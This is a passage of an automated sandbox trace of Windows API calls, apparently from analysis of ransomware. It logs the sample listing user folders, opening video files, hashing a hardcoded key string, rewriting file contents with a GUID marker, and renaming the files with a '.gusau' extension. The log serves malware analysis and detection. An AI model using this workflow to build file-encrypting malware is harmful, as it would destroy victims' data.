lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.751] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0117.751] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.751] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.751] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0117.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.751] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.751] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.751] PathFindFileNameW (pszPath="") returned="" [0117.751] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.751] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.751] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.752] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.752] PathFindFileNameW (pszPath="") returned="" [0117.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.752] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.752] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.752] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.752] PathFindFileNameW (pszPath="") returned="" [0117.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0117.752] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.752] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.753] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.753] PathFindFileNameW (pszPath="") returned="" [0117.753] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.753] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.753] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.753] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0117.753] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e9c260, ftCreationTime.dwHighDateTime=0x1d4d2db, ftLastAccessTime.dwLowDateTime=0xda8b0380, ftLastAccessTime.dwHighDateTime=0x1d4d033, ftLastWriteTime.dwLowDateTime=0xda8b0380, ftLastWriteTime.dwHighDateTime=0x1d4d033, nFileSizeHigh=0x0, nFileSizeLow=0x10efd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eFGyeqngF0yupS6aQiTk.mkv", cAlternateFileName="EFGYEQ~1.MKV")) returned 1 [0117.753] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eFGyeqngF0yupS6aQiTk.mkv") returned=".mkv" [0117.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eFGyeqngF0yupS6aQiTk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\efgyeqngf0yups6aqitk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.753] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=69373) returned 1 [0117.753] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.755] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10ed7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.755] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.757] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x10efd, lpOverlapped=0x0) returned 1 [0117.758] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.758] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.758] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.758] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0117.758] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.758] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.759] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.759] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.759] GetLastError () returned 0x0 [0117.759] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.759] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0117.759] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10efd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.759] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.759] CloseHandle (hObject=0x610) returned 1 [0117.760] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eFGyeqngF0yupS6aQiTk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\efgyeqngf0yups6aqitk.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eFGyeqngF0yupS6aQiTk.mkv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\efgyeqngf0yups6aqitk.mkv.gusau")) returned 1 [0117.762] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99c87d60, ftCreationTime.dwHighDateTime=0x1d4c600, ftLastAccessTime.dwLowDateTime=0x1db554f0, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0x1db554f0, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0x9b14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HuEJMg3KiSp.avi", cAlternateFileName="HUEJMG~1.AVI")) returned 1 [0117.762] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.762] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.762] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.762] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HuEJMg3KiSp.avi") returned=".avi" [0117.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HuEJMg3KiSp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\huejmg3kisp.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.762] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=39700) returned 1 [0117.762] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.764] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9aee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.764] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.766] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.766] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.766] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.766] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9b14, lpOverlapped=0x0) returned 1 [0117.767] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.767] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.767] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.767] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.767] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.768] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.768] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.768] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.768] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.768] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.768] GetLastError () returned 0x0 [0117.768] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.768] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.768] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.768] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x9b10) returned 0x39f9f20 [0117.768] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.768] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.768] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x9b0f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x9b0f, lpOverlapped=0x0) returned 1 [0117.768] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.768] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.769] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.769] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.769] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.769] CloseHandle (hObject=0x610) returned 1 [0117.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.770] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HuEJMg3KiSp.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\huejmg3kisp.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HuEJMg3KiSp.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\huejmg3kisp.avi.gusau")) returned 1 [0117.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.770] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.771] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ynWwf7IE7", cAlternateFileName="YNWWF7~1")) returned 1 [0117.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0117.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f80d8 [0117.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0117.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.771] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ynWwf7IE7", cAlternateFileName="YNWWF7~1")) returned 0 [0117.771] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0117.772] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f748 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fa0 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7f8 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f850 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f220 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8140 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f81a8 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f380 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8210 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f698 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8278 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f640 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f5e8 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f82e0 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f590 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8348 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f538 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f170 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8008 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0117.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0117.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.772] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.773] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.773] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.773] RtlAllocateHeap 